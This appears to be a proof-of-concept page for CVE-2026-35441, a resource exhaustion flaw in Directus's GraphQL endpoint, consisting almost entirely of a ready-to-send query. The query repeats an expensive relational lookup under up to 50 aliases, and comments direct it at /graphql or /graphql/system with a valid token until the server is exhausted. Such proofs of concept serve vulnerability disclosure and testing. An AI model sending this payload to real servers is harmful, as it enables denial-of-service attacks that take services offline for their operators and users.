CVE-2026-35441 Directus GraphQL资源耗尽漏洞

# PoC for CVE-2026-35441 # Exploits GraphQL aliasing to multiply resolver invocations # Send this to /graphql or /graphql/system with a valid auth token query Exploit { # Repeating the same expensive relational query 50 times using aliases a1: articles { id title author { name } } a2: articles { id title author { name } } a3: articles { id title author { name } } a4: articles { id title author { name } } a5: articles { id title author { name } } # ... repeat up to the token limit or desired exhaustion level a50: articles { id title author { name } } }